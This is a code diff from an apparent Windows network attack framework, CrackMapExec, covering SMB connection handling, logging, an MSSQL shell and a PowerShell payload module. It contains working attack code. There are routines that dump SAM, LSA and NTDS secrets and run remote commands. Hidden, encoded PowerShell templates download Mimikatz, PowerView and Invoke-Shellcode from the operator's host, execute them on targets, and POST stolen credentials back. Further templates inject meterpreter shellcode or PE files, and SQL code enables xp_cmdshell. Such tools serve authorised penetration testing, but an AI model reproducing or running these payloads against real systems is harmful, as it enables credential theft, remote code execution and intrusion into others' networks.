||||
if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
|
||||
rfs = RemoteFileSystem(host, smb, cme_logger)
|
||||
if settings.args.delete:
|
||||
rfs.delete()
|
||||
if settings.args.download:
|
||||
rfs.download()
|
||||
if settings.args.upload:
|
||||
rfs.upload()
|
||||
if settings.args.list:
|
||||
rfs.list()
|
||||
|
||||
if settings.args.enum_shares:
|
||||
shares = SHAREDUMP(smb, cme_logger)
|
||||
shares.dump(host)
|
||||
|
||||
if settings.args.enum_users:
|
||||
users = SAMRDump(cme_logger,
|
||||
'{}/SMB'.format(settings.args.port),
|
||||
user,
|
||||
passwd,
|
||||
domain,
|
||||
ntlm_hash,
|
||||
settings.args.aesKey,
|
||||
settings.args.kerb)
|
||||
users.dump(host)
|
||||
|
||||
if settings.args.sam or settings.args.lsa or settings.args.ntds:
|
||||
dumper = DumpSecrets(cme_logger,
|
||||
'logs/{}'.format(host),
|
||||
smb,
|
||||
settings.args.kerb)
|
||||
|
||||
dumper.do_remote_ops()
|
||||
if settings.args.sam:
|
||||
dumper.dump_SAM()
|
||||
if settings.args.lsa:
|
||||
dumper.dump_LSA()
|
||||
if settings.args.ntds:
|
||||
dumper.dump_NTDS(settings.args.ntds,
|
||||
settings.args.ntds_history,
|
||||
settings.args.ntds_pwdLastSet)
|
||||
dumper.cleanup()
|
||||
|
||||
if settings.args.pass_pol:
|
||||
pass_pol = PassPolDump(cme_logger,
|
||||
'{}/SMB'.format(settings.args.port),
|
||||
user,
|
||||
passwd,
|
||||
domain,
|
||||
ntlm_hash,
|
||||
settings.args.aesKey,
|
||||
settings.args.kerb)
|
||||
pass_pol.dump(host)
|
||||
|
||||
if settings.args.rid_brute:
|
||||
lookup = LSALookupSid(cme_logger,
|
||||
user,
|
||||
passwd,
|
||||
domain,
|
||||
'{}/SMB'.format(settings.args.port),
|
||||
ntlm_hash,
|
||||
settings.args.rid_brute)
|
||||
lookup.dump(host)
|
||||
|
||||
if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
|
||||
rpc_query = RPCQUERY(cme_logger,
|
||||
user,
|
||||
passwd,
|
||||
domain,
|
||||
ntlm_hash)
|
||||
|
||||
if settings.args.enum_sessions:
|
||||
rpc_query.enum_sessions(host)
|
||||
if settings.args.enum_disks:
|
||||
rpc_query.enum_disks(host)
|
||||
if settings.args.enum_lusers:
|
||||
rpc_query.enum_lusers(host)
|
||||
|
||||
if settings.args.spider:
|
||||
smb_spider = SMBSPIDER(cme_logger, host, smb)
|
||||
smb_spider.spider(settings.args.spider, settings.args.depth)
|
||||
smb_spider.finish()
|
||||
|
||||
if settings.args.wmi_query:
|
||||
wmi_query = WMIQUERY(cme_logger,
|
||||
user,
|
||||
domain,
|
||||
passwd,
|
||||
ntlm_hash,
|
||||
settings.args.kerb,
|
||||
settings.args.aesKey)
|
||||
|
||||
wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)
|
||||
|
||||
if settings.args.check_uac:
|
||||
uac = UACdump(cme_logger, smb, settings.args.kerb)
|
||||
uac.run()
|
||||
|
||||
if settings.args.enable_wdigest or settings.args.disable_wdigest:
|
||||
wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb)
|
||||
if settings.args.enable_wdigest:
|
||||
wdigest.enable()
|
||||
elif settings.args.disable_wdigest:
|
||||
wdigest.disable()
|
||||
|
||||
if settings.args.service:
|
||||
service_control = SVCCTL(cme_logger,
|
||||
user,
|
||||
passwd,
|
||||
domain,
|
||||
'{}/SMB'.format(settings.args.port),
|
||||
settings.args.service,
|
||||
settings.args.aesKey,
|
||||
settings.args.kerb,
|
||||
ntlm_hash,
|
||||
settings.args)
|
||||
service_control.run(host)
|
||||
|
||||
if settings.args.command:
|
||||
EXECUTOR(cme_logger,
|
||||
settings.args.command,
|
||||
host,
|
||||
domain,
|
||||
settings.args.no_output,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
ntlm_hash)
|
||||
|
||||
if settings.args.pscommand:
|
||||
EXECUTOR(cme_logger,
|
||||
ps_command(settings.args.pscommand, settings.args.ps_arch),
|
||||
host,
|
||||
domain,
|
||||
settings.args.no_output,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
ntlm_hash)
|
||||
|
||||
if settings.args.mimikatz:
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
EXECUTOR(cme_logger,
|
||||
powah_command.mimikatz(),
|
||||
host,
|
||||
domain,
|
||||
True,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
ntlm_hash)
|
||||
|
||||
if settings.args.gpp_passwords:
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
EXECUTOR(cme_logger,
|
||||
powah_command.gpp_passwords(),
|
||||
host,
|
||||
domain,
|
||||
True,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
ntlm_hash)
|
||||
|
||||
if settings.args.mimikatz_cmd:
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
EXECUTOR(cme_logger,
|
||||
powah_command.mimikatz(settings.args.mimikatz_cmd),
|
||||
host,
|
||||
domain,
|
||||
True,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
ntlm_hash)
|
||||
|
||||
if settings.args.powerview:
|
||||
#For some reason powerview functions only seem to work when using smbexec...
|
||||
#I think we might have a mistery on our hands boys and girls!
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
EXECUTOR(cme_logger,
|
||||
powah_command.powerview(settings.args.powerview),
|
||||
host,
|
||||
domain,
|
||||
True,
|
||||
connection,
|
||||
'smbexec',
|
||||
user,
|
||||
passwd,
|
||||
ntlm_hash)
|
||||
|
||||
if settings.args.tokens:
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
EXECUTOR(cme_logger,
|
||||
powah_command.token_enum(),
|
||||
host,
|
||||
domain,
|
||||
True,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
ntlm_hash)
|
||||
|
||||
if settings.args.inject:
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
if settings.args.inject.startswith('met_'):
|
||||
EXECUTOR(cme_logger,
|
||||
powah_command.inject_meterpreter(),
|
||||
host,
|
||||
domain,
|
||||
True,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
ntlm_hash)
|
||||
|
||||
if settings.args.inject == 'shellcode':
|
||||
EXECUTOR(cme_logger,
|
||||
powah_command.inject_shellcode(),
|
||||
host,
|
||||
domain,
|
||||
True,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
ntlm_hash)
|
||||
|
||||
if settings.args.inject == 'dll' or settings.args.inject == 'exe':
|
||||
EXECUTOR(cme_logger,
|
||||
powah_command.inject_exe_dll(),
|
||||
host,
|
||||
domain,
|
||||
True,
|
||||
connection,
|
||||
settings.args.execm,
|
||||
user,
|
||||
passwd,
|
||||
ntlm_hash)
|
||||
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
ms_sql.disconnect()
|
||||
except:
|
||||
pass
|
||||
|
||||
except SessionError as e:
|
||||
print_error("{}:{} {}".format(host, settings.args.port, e))
|
||||
if settings.args.verbose: traceback.print_exc()
|
||||
|
||||
except NetBIOSError as e:
|
||||
print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
|
||||
if settings.args.verbose: traceback.print_exc()
|
||||
|
||||
except DCERPCException as e:
|
||||
print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
|
||||
if settings.args.verbose: traceback.print_exc()
|
||||
|
||||
except socket.error as e:
|
||||
if settings.args.verbose: print_error(str(e))
|
||||
return
|
|
@ -0,0 +1,41 @@
|
|||
import random
|
||||
import string
|
||||
import re
|
||||
from base64 import b64encode
|
||||
from termcolor import colored
|
||||
|
||||
def gen_random_string(length=10):
|
||||
return ''.join(random.sample(string.ascii_letters, int(length)))
|
||||
|
||||
def obfs_ps_script(script, function_name=None):
|
||||
"""
|
||||
Strip block comments, line comments, empty lines, verbose statements,
|
||||
and debug statements from a PowerShell source file.
|
||||
|
||||
If the function_name paramater is passed, replace the main powershell function name with it
|
||||
"""
|
||||
if function_name:
|
||||
function_line = script.split('\n', 1)[0]
|
||||
if function_line.find('function') != -1:
|
||||
script = re.sub('-.*', '-{}\r'.format(function_name), script, count=1)
|
||||
|
||||
# strip block comments
|
||||
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
|
||||
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
|
||||
return strippedCode
|
||||
|
||||
def create_ps_command(ps_command, force_ps32=False):
|
||||
ps_command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + ps_command
|
||||
if force_ps32:
|
||||
command = '%SystemRoot%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
||||
elif not force_ps32:
|
||||
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
||||
|
||||
return command
|
||||
|
||||
def highlight(text, color='yellow'):
|
||||
if color == 'yellow':
|
||||
return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
|
||||
elif color == 'red':
|
||||
return u'{}'.format(colored(text, 'red', attrs=['bold']))
|
107
core/logger.py
107
core/logger.py
|
@ -4,9 +4,8 @@ import re
|
|||
from termcolor import colored
|
||||
from datetime import datetime
|
||||
|
||||
if sys.platform == 'win32':
|
||||
import colorama
|
||||
colorama.init()
|
||||
#The following hooks the FileHandler.emit function to remove ansi chars before logging to a file
|
||||
#There must be a better way of doing this...
|
||||
|
||||
ansi_escape = re.compile(r'\x1b[^m]*m')
|
||||
|
||||
|
@ -20,18 +19,36 @@ def antiansi_emit(self, record):
|
|||
|
||||
logging.FileHandler.emit = antiansi_emit
|
||||
|
||||
####################################################################
|
||||
|
||||
class CMEAdapter(logging.LoggerAdapter):
|
||||
|
||||
def __init__(self, logger, extra, action=None):
|
||||
def __init__(self, logger, extra=None):
|
||||
self.logger = logger
|
||||
self.extra = extra
|
||||
self.action = action
|
||||
|
||||
def process(self, msg, kwargs):
|
||||
return u'{} {}:{} {:<10} {}'.format(colored(self.extra['service'], 'blue', attrs=['bold']),
|
||||
if self.extra is None:
|
||||
return u'{}'.format(msg), kwargs
|
||||
|
||||
#If the logger is being called when hooking the 'options' module function
|
||||
if len(self.extra) == 1 and ('module' in self.extra.keys()):
|
||||
return u'{:<59} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), msg), kwargs
|
||||
|
||||
#If the logger is being called from CMEServer
|
||||
if len(self.extra) == 2 and ('module' in self.extra.keys()) and ('host' in self.extra.keys()):
|
||||
return u'{:<25} {:<33} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), self.extra['host'], msg), kwargs
|
||||
|
||||
#If the logger is being called from the main Connector function
|
||||
if 'module' in self.extra.keys():
|
||||
module_name = colored(self.extra['module'], 'cyan', attrs=['bold'])
|
||||
else:
|
||||
module_name = colored('CME', 'blue', attrs=['bold'])
|
||||
|
||||
return u'{:<25} {}:{} {:<15} {}'.format(module_name,
|
||||
self.extra['host'],
|
||||
self.extra['port'],
|
||||
self.extra['hostname'],
|
||||
self.extra['hostname'] if self.extra['hostname'] else 'NONE',
|
||||
msg), kwargs
|
||||
|
||||
def info(self, msg, *args, **kwargs):
|
||||
|
@ -40,68 +57,58 @@ class CMEAdapter(logging.LoggerAdapter):
|
|||
|
||||
def error(self, msg, *args, **kwargs):
|
||||
msg, kwargs = self.process(u'{} {}'.format(colored("[-]", 'red', attrs=['bold']), msg), kwargs)
|
||||
self.logger.info(msg, *args, **kwargs)
|
||||
self.logger.error(msg, *args, **kwargs)
|
||||
|
||||
def debug(self, msg, *args, **kwargs):
|
||||
pass
|
||||
|
||||
def success(self, msg, *args, **kwargs):
|
||||
msg, kwargs = self.process(u'{} {}'.format(colored("[+]", 'green', attrs=['bold']), msg), kwargs)
|
||||
self.logger.info(msg, *args, **kwargs)
|
||||
|
||||
def results(self, msg, *args, **kwargs):
|
||||
def highlight(self, msg, *args, **kwargs):
|
||||
msg, kwargs = self.process(u'{}'.format(colored(msg, 'yellow', attrs=['bold'])), kwargs)
|
||||
self.logger.info(msg, *args, **kwargs)
|
||||
|
||||
#For impacket's tds library
|
||||
def logMessage(self, message):
|
||||
self.results(message)
|
||||
self.highlight(message)
|
||||
|
||||
def setup_logger(target, level=logging.INFO):
|
||||
def setup_debug_logger():
|
||||
debug_output_string = "%(asctime)s {:<59} %(message)s".format(colored('DEBUG', 'magenta', attrs=['bold']))
|
||||
formatter = logging.Formatter(debug_output_string, datefmt="%m-%d-%Y %H:%M:%S")
|
||||
streamHandler = logging.StreamHandler(sys.stdout)
|
||||
streamHandler.setFormatter(formatter)
|
||||
|
||||
root_logger = logging.getLogger()
|
||||
root_logger.propagate = False
|
||||
root_logger.addHandler(streamHandler)
|
||||
#root_logger.addHandler(fileHandler)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
return root_logger
|
||||
|
||||
def setup_logger(level=logging.INFO, log_to_file=False, log_prefix=None, logger_name='CME'):
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%m-%d-%Y %H:%M:%S")
|
||||
fileHandler = logging.FileHandler('./logs/{}_{}.log'.format(target.replace('/', '_'), datetime.now().strftime('%Y-%m-%d')))
|
||||
|
||||
if log_to_file:
|
||||
if not log_prefix:
|
||||
log_prefix = 'log'
|
||||
|
||||
log_filename = '{}_{}.log'.format(log_prefix.replace('/', '_'), datetime.now().strftime('%Y-%m-%d'))
|
||||
fileHandler = logging.FileHandler('./logs/{}'.format(log_filename))
|
||||
fileHandler.setFormatter(formatter)
|
||||
|
||||
streamHandler = logging.StreamHandler(sys.stdout)
|
||||
streamHandler.setFormatter(formatter)
|
||||
|
||||
if level == logging.DEBUG:
|
||||
root_logger = logging.getLogger()
|
||||
root_logger.propagate = False
|
||||
root_logger.addHandler(streamHandler)
|
||||
root_logger.addHandler(fileHandler)
|
||||
root_logger.setLevel(level)
|
||||
|
||||
cme_logger = logging.getLogger('CME')
|
||||
cme_logger = logging.getLogger(logger_name)
|
||||
cme_logger.propagate = False
|
||||
cme_logger.addHandler(streamHandler)
|
||||
|
||||
if log_to_file:
|
||||
cme_logger.addHandler(fileHandler)
|
||||
|
||||
cme_logger.setLevel(level)
|
||||
|
||||
def print_error(message):
|
||||
print colored("[-] ", 'red', attrs=['bold']) + message
|
||||
|
||||
def print_info(message):
|
||||
print colored("[*] ", 'blue', attrs=['bold']) + message
|
||||
|
||||
def print_success(message):
|
||||
print colored("[+] ", 'green', attrs=['bold']) + message
|
||||
|
||||
def print_results(message):
|
||||
print colored(message, 'yellow', attrs=['bold'])
|
||||
|
||||
def print_message(message):
|
||||
print message
|
||||
|
||||
def yellow(text):
|
||||
return colored(text, 'yellow', attrs=['bold'])
|
||||
|
||||
def green(text):
|
||||
return colored(text, 'green', attrs=['bold'])
|
||||
|
||||
def blue(text):
|
||||
return colored(text, 'blue', attrs=['bold'])
|
||||
|
||||
def red(text):
|
||||
return colored(text, 'red', attrs=['bold'])
|
||||
|
||||
def shutdown(exit_code):
|
||||
print_info('KTHXBYE!')
|
||||
sys.exit(int(exit_code))
|
||||
return cme_logger
|
|
@ -1,25 +1,23 @@
|
|||
#!/usr/bin/python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description: [MS-TDS] & [MC-SQLR] example.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (beto@coresecurity.com/@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# Structure
|
||||
#
|
||||
|
||||
import os
|
||||
import cmd
|
||||
from impacket import tds
|
||||
from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \
|
||||
TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE
|
||||
|
||||
#We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
|
||||
#The whole tds library in impacket needs a good overhaul to preserve my sanity
|
||||
|
||||
def printRowsCME(self):
|
||||
if self.lastError is True:
|
||||
return
|
||||
out = ''
|
||||
self.processColMeta()
|
||||
#self.printColumnsHeader()
|
||||
for row in self.rows:
|
||||
for col in self.colMeta:
|
||||
if row[col['Name']] != 'NULL':
|
||||
out += col['Format'] % row[col['Name']] + self.COL_SEPARATOR + '\n'
|
||||
|
||||
return out
|
||||
|
||||
def printRepliesCME(self):
|
||||
for keys in self.replies.keys():
|
||||
for i, key in enumerate(self.replies[keys]):
|
||||
|
@ -54,64 +52,4 @@ def printRepliesCME(self):
|
|||
self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
|
||||
|
||||
tds.MSSQL.printReplies = printRepliesCME
|
||||
|
||||
class SQLSHELL(cmd.Cmd):
|
||||
def __init__(self, SQL, logger):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.sql = SQL
|
||||
self.logger = logger
|
||||
self.prompt = 'SQL> '
|
||||
self.intro = '[!] Press help for extra shell commands'
|
||||
|
||||
def do_help(self, line):
|
||||
print """
|
||||
lcd {path} - changes the current local directory to {path}
|
||||
exit - terminates the server process (and this session)
|
||||
enable_xp_cmdshell - you know what it means
|
||||
disable_xp_cmdshell - you know what it means
|
||||
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
|
||||
! {cmd} - executes a local shell cmd
|
||||
"""
|
||||
|
||||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
|
||||
def do_xp_cmdshell(self, s, noOutput=False):
|
||||
try:
|
||||
self.do_enable_xp_cmdshell('')
|
||||
self.sql.sql_query("exec master..xp_cmdshell '%s'" % s)
|
||||
self.logger.success('Executed command via XP_CMDSHELL')
|
||||
if noOutput is False:
|
||||
self.sql.printReplies()
|
||||
self.sql.colMeta[0]['TypeData'] = 80*2
|
||||
self.sql.printRows()
|
||||
self.do_disable_xp_cmdshell('')
|
||||
except:
|
||||
if noOutput is True:
|
||||
self.sql.printReplies()
|
||||
|
||||
def do_lcd(self, s):
|
||||
if s == '':
|
||||
print os.getcwd()
|
||||
else:
|
||||
os.chdir(s)
|
||||
|
||||
def do_enable_xp_cmdshell(self, line):
|
||||
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
||||
|
||||
def do_disable_xp_cmdshell(self, line):
|
||||
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
|
||||
|
||||
def default(self, line):
|
||||
try:
|
||||
self.sql.sql_query(line)
|
||||
self.sql.printReplies()
|
||||
self.sql.printRows()
|
||||
except:
|
||||
pass
|
||||
|
||||
def emptyline(self):
|
||||
pass
|
||||
|
||||
def do_exit(self, line):
|
||||
return True
|
||||
tds.MSSQL.printRows = printRowsCME
|
|
@ -1,204 +0,0 @@
|
|||
from base64 import b64encode
|
||||
import logging
|
||||
import settings
|
||||
|
||||
def ps_command(command, arch):
|
||||
logging.info('PS command to be encoded: ' + command)
|
||||
|
||||
if settings.args.server == 'https':
|
||||
logging.info('Disabling certificate checking for the following PS command: ' + command)
|
||||
command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + command
|
||||
|
||||
if arch == 32:
|
||||
logging.info('Forcing the following command to execute in a 32bit PS process: ' + command)
|
||||
command = '%SystemRoot%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||
|
||||
elif arch == 64 or arch == 'auto':
|
||||
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||
|
||||
logging.info('Full PS command: ' + command)
|
||||
|
||||
return command
|
||||
|
||||
class PowerShell:
|
||||
|
||||
"""
|
||||
https://www.youtube.com/watch?v=nm6DO_7px1I
|
||||
"""
|
||||
|
||||
def __init__(self, server, localip):
|
||||
self.localip = localip
|
||||
self.protocol = server
|
||||
self.arch = settings.args.ps_arch
|
||||
self.func_name = settings.obfs_func_name
|
||||
|
||||
def mimikatz(self, command='privilege::debug sekurlsa::logonpasswords exit'):
|
||||
|
||||
command = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Invoke-Mimikatz.ps1');
|
||||
$creds = Invoke-{func_name} -Command '{katz_command}';
|
||||
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}:{port}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
|
||||
$request.ContentLength = $bytes.Length;
|
||||
$requestStream = $request.GetRequestStream();
|
||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
||||
$requestStream.Close();
|
||||
$request.GetResponse();""".format(protocol=self.protocol,
|
||||
port=settings.args.server_port,
|
||||
func_name=self.func_name,
|
||||
addr=self.localip,
|
||||
katz_command=command)
|
||||
|
||||
if self.arch == 'auto':
|
||||
return ps_command(command, 64)
|
||||
else:
|
||||
return ps_command(command, int(self.arch))
|
||||
|
||||
def gpp_passwords(self):
|
||||
command = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Get-GPPPassword.ps1');
|
||||
$output = Get-{func_name} | Out-String;
|
||||
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}:{port}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($output);
|
||||
$request.ContentLength = $bytes.Length;
|
||||
$requestStream = $request.GetRequestStream();
|
||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
||||
$requestStream.Close();
|
||||
$request.GetResponse();""".format(protocol=self.protocol,
|
||||
func_name=self.func_name,
|
||||
port=settings.args.server_port,
|
||||
addr=self.localip)
|
||||
|
||||
if self.arch == 'auto':
|
||||
return ps_command(command, 64)
|
||||
else:
|
||||
return ps_command(command, int(self.arch))
|
||||
|
||||
def powerview(self, command):
|
||||
|
||||
command = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/PowerView.ps1');
|
||||
$output = {view_command} | Out-String;
|
||||
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}:{port}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($output);
|
||||
$request.ContentLength = $bytes.Length;
|
||||
$requestStream = $request.GetRequestStream();
|
||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
||||
$requestStream.Close();
|
||||
$request.GetResponse();""".format(protocol=self.protocol,
|
||||
port=settings.args.server_port,
|
||||
addr=self.localip,
|
||||
view_command=command)
|
||||
|
||||
if self.arch == 'auto':
|
||||
return ps_command(command, 64)
|
||||
else:
|
||||
return ps_command(command, int(self.arch))
|
||||
|
||||
def token_enum(self):
|
||||
|
||||
command = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Invoke-TokenManipulation.ps1');
|
||||
$output = Invoke-{func_name} -Enumerate | Out-String;
|
||||
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}:{port}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($output);
|
||||
$request.ContentLength = $bytes.Length;
|
||||
$requestStream = $request.GetRequestStream();
|
||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
||||
$requestStream.Close();
|
||||
$request.GetResponse();""".format(protocol=self.protocol,
|
||||
func_name=self.func_name,
|
||||
port=settings.args.server_port,
|
||||
addr=self.localip)
|
||||
|
||||
if self.arch == 'auto':
|
||||
return ps_command(command, 64)
|
||||
else:
|
||||
return ps_command(command, int(self.arch))
|
||||
|
||||
def inject_meterpreter(self):
|
||||
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
|
||||
#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
|
||||
|
||||
command = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1')
|
||||
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
|
||||
$SumTest = $False
|
||||
while ($SumTest -eq $False)
|
||||
{{
|
||||
$GeneratedUri = $CharArray | Get-Random -Count 4
|
||||
$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
|
||||
}}
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$True}}
|
||||
$RequestUri = -join $GeneratedUri
|
||||
$Request = "{}://{}:{}/$($RequestUri)"
|
||||
$WebClient = New-Object System.Net.WebClient
|
||||
[Byte[]]$bytes = $WebClient.DownloadData($Request)
|
||||
Invoke-{} -Force -Shellcode $bytes""".format(self.protocol,
|
||||
self.localip,
|
||||
settings.args.server_port,
|
||||
settings.args.inject.split('_')[-1],
|
||||
settings.args.met_options[0],
|
||||
settings.args.met_options[1],
|
||||
self.func_name)
|
||||
|
||||
if settings.args.procid:
|
||||
command += " -ProcessID {}".format(settings.args.procid)
|
||||
|
||||
if self.arch == 'auto':
|
||||
return ps_command(command, 32)
|
||||
else:
|
||||
return ps_command(command, int(self.arch))
|
||||
|
||||
def inject_shellcode(self):
|
||||
command = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Invoke-Shellcode.ps1');
|
||||
$WebClient = New-Object System.Net.WebClient;
|
||||
[Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}:{port}/{shellcode}');
|
||||
Invoke-{func_name} -Force -Shellcode $bytes""".format(protocol=self.protocol,
|
||||
port=settings.args.server_port,
|
||||
func_name=self.func_name,
|
||||
addr=self.localip,
|
||||
shellcode=settings.args.path.split('/')[-1])
|
||||
|
||||
if settings.args.procid:
|
||||
command += " -ProcessID {}".format(settings.args.procid)
|
||||
|
||||
command += ';'
|
||||
|
||||
if self.arch == 'auto':
|
||||
return ps_command(command, 32)
|
||||
else:
|
||||
return ps_command(command, int(self.arch))
|
||||
|
||||
def inject_exe_dll(self):
|
||||
command = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
|
||||
$WebClient = New-Object System.Net.WebClient;
|
||||
[Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}:{port}/{pefile}');
|
||||
Invoke-{func_name} -PEBytes $bytes""".format(protocol=self.protocol,
|
||||
port=settings.args.server_port,
|
||||
func_name=self.func_name,
|
||||
addr=self.localip,
|
||||
pefile=settings.args.path.split('/')[-1])
|
||||
|
||||
if settings.args.procid:
|
||||
command += " -ProcId {}"
|
||||
|
||||
if settings.args.inject == 'exe' and settings.args.exeargs:
|
||||
command += " -ExeArgs \"{}\"".format(settings.args.exeargs)
|
||||
|
||||
command += ';'
|
||||
|
||||
if self.arch == 'auto':
|
||||
return ps_command(command, 32)
|
||||
else:
|
||||
return ps_command(command, int(self.arch))
|
|
@ -0,0 +1,40 @@
|
|||
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
|
||||
|
||||
class RemoteFile:
|
||||
def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ):
|
||||
self.__smbConnection = smbConnection
|
||||
self.__share = share
|
||||
self.__access = access
|
||||
self.__fileName = fileName
|
||||
self.__tid = self.__smbConnection.connectTree(share)
|
||||
self.__fid = None
|
||||
self.__currentOffset = 0
|
||||
|
||||
def open(self):
|
||||
self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess = self.__access)
|
||||
|
||||
def seek(self, offset, whence):
|
||||
# Implement whence, for now it's always from the beginning of the file
|
||||
if whence == 0:
|
||||
self.__currentOffset = offset
|
||||
|
||||
def read(self, bytesToRead):
|
||||
if bytesToRead > 0:
|
||||
data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
|
||||
self.__currentOffset += len(data)
|
||||
return data
|
||||
return ''
|
||||
|
||||
def close(self):
|
||||
if self.__fid is not None:
|
||||
self.__smbConnection.closeFile(self.__tid, self.__fid)
|
||||
self.__fid = None
|
||||
|
||||
def delete(self):
|
||||
self.__smbConnection.deleteFile(self.__share, self.__fileName)
|
||||
|
||||
def tell(self):
|
||||
return self.__currentOffset
|
||||
|
||||
def __str__(self):
|
||||
